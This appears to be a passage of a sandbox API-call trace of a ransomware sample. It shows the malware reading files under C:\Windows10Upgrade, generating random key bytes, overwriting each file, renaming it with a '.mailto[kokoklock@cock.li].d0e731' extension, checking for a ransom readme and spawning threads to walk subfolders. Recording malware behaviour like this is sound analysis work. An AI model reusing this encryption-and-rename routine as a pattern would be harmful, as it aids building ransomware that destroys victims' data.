RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cd58) returned 1 [0062.083] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cd80) returned 1 [0062.083] CloseHandle (hObject=0x5c8) returned 1 [0062.096] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33eb450 [0062.096] wcscpy (in: _Dest=0x33eb450, _Source="C:\\Windows10Upgrade\\GetCurrentRollback.EXE" | out: _Dest="C:\\Windows10Upgrade\\GetCurrentRollback.EXE") returned="C:\\Windows10Upgrade\\GetCurrentRollback.EXE" [0062.096] wcscat (in: _Dest=0x33eb450, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\GetCurrentRollback.EXE.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\GetCurrentRollback.EXE.mailto[kokoklock@cock.li].d0e731" [0062.097] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\GetCurrentRollback.EXE" (normalized: "c:\\windows10upgrade\\getcurrentrollback.exe"), lpNewFileName="C:\\Windows10Upgrade\\GetCurrentRollback.EXE.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\getcurrentrollback.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0062.097] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\GetCurrentRollback.EXE.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0062.098] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb450) returned 1 [0062.098] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\GetCurrentRollback.EXE", dwFileAttributes=0x20) returned 0 [0062.098] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x341d878 [0062.098] wcscpy (in: _Dest=0x341d878, _Source="C:\\Windows10Upgrade\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0062.098] wcscat (in: _Dest=0x341d878, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\D0E731-Readme.txt" [0062.098] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\d0e731-readme.txt")) returned 0x20 [0062.098] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341d878) returned 1 [0062.098] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cda28) returned 1 [0062.098] RtlExitUserThread (Status=0x1) Thread: id = 126 os_tid = 0x1068 [0062.100] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\HttpHelper.exe" (normalized: "c:\\windows10upgrade\\httphelper.exe")) returned 0x20 [0062.101] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\HttpHelper.exe", dwFileAttributes=0x20) returned 1 [0062.101] CreateFileW (lpFileName="C:\\Windows10Upgrade\\HttpHelper.exe" (normalized: "c:\\windows10upgrade\\httphelper.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8 [0062.101] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x8b2f7e0 | out: lpFileSize=0x8b2f7e0*=27848) returned 1 [0062.101] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x6cc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.101] ReadFile (in: hFile=0x5c8, lpBuffer=0x8b2f7b4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8b2f7b0, lpOverlapped=0x0 | out: lpBuffer=0x8b2f7b4*, lpNumberOfBytesRead=0x8b2f7b0*=0x4, lpOverlapped=0x0) returned 1 [0062.116] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c9e8 [0062.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cab0 [0062.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cc40 [0062.116] NtQuerySystemTime (in: CurrentTime=0x8b2f78c | out: CurrentTime=0x8b2f78c*=132121176200121413) returned 0x0 [0062.116] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x19d91dba [0062.116] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0xd4027724 [0062.116] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x43813bb3 [0062.116] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x7a9357bd [0062.116] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x9fc19fac [0062.116] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x91dbb0c [0062.116] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x620584e9 [0062.116] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0xbd8bb899 [0062.116] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x84e738b8 [0062.116] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x3b5ad50 [0062.116] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0xdf3c9dee [0062.116] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x847460e4 [0062.116] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0xc84dd4e3 [0062.116] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x94e8a8c1 [0062.116] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0xfd6c69c5 [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0xc13f2e18 [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x28ad91de [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x29a1282 [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x8f56fda4 [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x31aa6094 [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x43a7f988 [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0xe7605ce4 [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x3685e3e0 [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x3b07a1b6 [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x49329124 [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0xb08d4b52 [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x40723a98 [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x8c81da14 [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x9a58b109 [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x3573f2e3 [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0xb4aa07bf [0062.117] RtlRandom (in: Seed=0x8b2f798 | out: Seed=0x8b2f798) returned 0x117faa41 [0062.125] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cc68 [0062.127] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0062.127] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd08 [0062.127] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0062.127] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c9e8) returned 1 [0062.127] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0062.127] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.127] ReadFile (in: hFile=0x5c8, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8b2f764, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x8b2f764*=0x4096, lpOverlapped=0x0) returned 1 [0062.128] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0062.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0062.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd58 [0062.128] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cd58) returned 1 [0062.129] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0062.129] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd58 [0062.129] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cad8 [0062.129] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cad8) returned 1 [0062.129] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0062.129] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0062.129] WriteFile (in: hFile=0x5c8, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8b2f764, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x8b2f764*=0x4096, lpOverlapped=0x0) returned 1 [0062.129] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0062.129] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x6cc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.129] WriteFile (in: hFile=0x5c8, lpBuffer=0x347cd58*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8b2f79c, lpOverlapped=0x0 | out: lpBuffer=0x347cd58*, lpNumberOfBytesWritten=0x8b2f79c*=0x20, lpOverlapped=0x0) returned 1 [0062.130] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cd58) returned 1 [0062.130] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0062.130] WriteFile (in: hFile=0x5c8, lpBuffer=0x347cd08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x8b2f7b0, lpOverlapped=0x0 | out: lpBuffer=0x347cd08*, lpNumberOfBytesWritten=0x8b2f7b0*=0x8, lpOverlapped=0x0) returned 1 [0062.130] WriteFile (in: hFile=0x5c8, lpBuffer=0x8b2f7c8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8b2f7b0, lpOverlapped=0x0 | out: lpBuffer=0x8b2f7c8*, lpNumberOfBytesWritten=0x8b2f7b0*=0x4, lpOverlapped=0x0) returned 1 [0062.130] WriteFile (in: hFile=0x5c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8b2f7b0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x8b2f7b0*=0x4, lpOverlapped=0x0) returned 1 [0062.130] WriteFile (in: hFile=0x5c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x8b2f7b0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x8b2f7b0*=0x6c, lpOverlapped=0x0) returned 1 [0062.130] WriteFile (in: hFile=0x5c8, lpBuffer=0x347cab0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8b2f7b0, lpOverlapped=0x0 | out: lpBuffer=0x347cab0*, lpNumberOfBytesWritten=0x8b2f7b0*=0x20, lpOverlapped=0x0) returned 1 [0062.130] WriteFile (in: hFile=0x5c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8b2f7b0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x8b2f7b0*=0x4, lpOverlapped=0x0) returned 1 [0062.130] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cab0) returned 1 [0062.130] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cc68) returned 1 [0062.130] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cd08) returned 1 [0062.130] CloseHandle (hObject=0x5c8) returned 1 [0062.132] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e2720 [0062.132] wcscpy (in: _Dest=0x33e2720, _Source="C:\\Windows10Upgrade\\HttpHelper.exe" | out: _Dest="C:\\Windows10Upgrade\\HttpHelper.exe") returned="C:\\Windows10Upgrade\\HttpHelper.exe" [0062.132] wcscat (in: _Dest=0x33e2720, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\HttpHelper.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\HttpHelper.exe.mailto[kokoklock@cock.li].d0e731" [0062.132] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\HttpHelper.exe" (normalized: "c:\\windows10upgrade\\httphelper.exe"), lpNewFileName="C:\\Windows10Upgrade\\HttpHelper.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\httphelper.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0062.133] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\HttpHelper.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0062.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2720) returned 1 [0062.133] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\HttpHelper.exe", dwFileAttributes=0x20) returned 0 [0062.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x341d878 [0062.133] wcscpy (in: _Dest=0x341d878, _Source="C:\\Windows10Upgrade\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0062.133] wcscat (in: _Dest=0x341d878, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\D0E731-Readme.txt" [0062.133] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\d0e731-readme.txt")) returned 0x20 [0062.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341d878) returned 1 [0062.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d2a28) returned 1 [0062.133] RtlExitUserThread (Status=0x1) Thread: id = 127 os_tid = 0x106c [0062.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0062.128] wcscpy (in: _Dest=0x33fd280, _Source="C:\\Windows10Upgrade\\resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources" [0062.128] wcscat (in: _Dest=0x33fd280, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\" [0062.128] wcscat (in: _Dest=0x33fd280, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\*") returned="C:\\Windows10Upgrade\\resources\\*" [0062.134] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3452b88 [0062.134] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\*", lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b3c1b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3b3c1b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433d68 [0062.134] wcscmp (_String1=".", _String2=".") returned 0 [0062.134] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b3c1b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3b3c1b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.134] wcscmp (_String1="..", _String2=".") returned 1 [0062.134] wcscmp (_String1="..", _String2="..") returned 0 [0062.134] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a5195, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3a5195, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1 [0062.134] wcscmp (_String1="amd64", _String2=".") returned 1 [0062.134] wcscmp (_String1="amd64", _String2="..") returned 1 [0062.134] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33fa468 [0062.134] wcscpy (in: _Dest=0x33fa468, _Source="C:\\Windows10Upgrade\\resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources" [0062.134] wcscat (in: _Dest=0x33fa468, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\" [0062.134] wcscat (in: _Dest=0x33fa468, _Source="amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64" [0062.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fa468, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510 [0062.289] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3a78b4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a78b4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xc981b, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwcompatShared.txt", cAlternateFileName="HWCOMP~1.TXT")) returned 1 [0062.289] wcscmp (_String1="hwcompatShared.txt", _String2=".") returned 1 [0062.289] wcscmp (_String1="hwcompatShared.txt", _String2="..") returned 1 [0062.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x3420a10 [0062.289] wcscpy (in: _Dest=0x3420a10, _Source="C:\\Windows10Upgrade\\resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources" [0062.289] wcscat (in: _Dest=0x3420a10, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\" [0062.289] wcscat (in: _Dest=0x3420a10, _Source="hwcompatShared.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt") returned="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt" [0062.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3420a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0062.290] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3a9fd3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b1515, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3b1515, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="i386", cAlternateFileName="")) returned 1 [0062.290] wcscmp (_String1="i386", _String2=".") returned 1 [0062.290] wcscmp (_String1="i386", _String2="..") returned 1 [0062.290] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x33fa738 [0062.290] wcscpy (in: _Dest=0x33fa738, _Source="C:\\Windows10Upgrade\\resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources" [0062.290] wcscat (in: _Dest=0x33fa738, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\" [0062.290] wcscat (in: _Dest=0x33fa738, _Source="i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386" [0062.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fa738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0062.291] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea63c947, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ux", cAlternateFileName="")) returned 1 [0062.291] wcscmp (_String1="ux", _String2=".") returned 1 [0062.291] wcscmp (_String1="ux", _String2="..") returned 1 [0062.291] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x33f9ec8 [0062.291] wcscpy (in: _Dest=0x33f9ec8, _Source="C:\\Windows10Upgrade\\resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources" [0062.291] wcscat (in: _Dest=0x33f9ec8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\" [0062.291] wcscat (in: _Dest=0x33f9ec8, _Source="ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0062.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33f9ec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0062.292] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea63c947, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ux", cAlternateFileName="")) returned 0 [0062.292] FindClose (in: hFindFile=0x3433d68 | out: hFindFile=0x3433d68) returned 1 [0062.292] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3452b88) returned 1 [0062.292] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0062.292] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0062.292] RtlExitUserThread (Status=0x0) Thread: id = 128 os_tid = 0x1070 [0062.135] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_default.log" (normalized: "c:\\windows10upgrade\\upgrader_default.log")) returned 0x20 [0062.136] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_default.log", dwFileAttributes=0x20) returned 1 [0062.136] CreateFileW (lpFileName="C:\\Windows10Upgrade\\upgrader_default.log" (normalized: "c:\\windows10upgrade\\upgrader_default.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0062.136] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x8c2f8a0 | out: lpFileSize=0x8c2f8a0*=250186) returned 1 [0062.136] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x3d146, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.136] ReadFile (in: hFile=0x5cc, lpBuffer=0x8c2f874, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8c2f870, lpOverlapped=0x0 | out: lpBuffer=0x8c2f874*, lpNumberOfBytesRead=0x8c2f870*=0x4, lpOverlapped=0x0) returned 1 [0062.137] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.137] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cc68 [0062.137] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb28 [0062.138] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd08 [0062.138] NtQuerySystemTime (in: CurrentTime=0x8c2f84c | out: CurrentTime=0x8c2f84c*=132121176200238552) returned 0x0 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x81994340 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0xe22bacfc [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x468f512f [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x623d678b [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0xd20dd24a [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x2b0f6b6e [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0xb65fb6e6 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0xd812e76c [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x26bf98c4 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0xfda33c82 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x43692d3 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x8b065ece [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0xfcbf2513 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0xba29c573 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x8c7ee09e [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0xba213677 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: 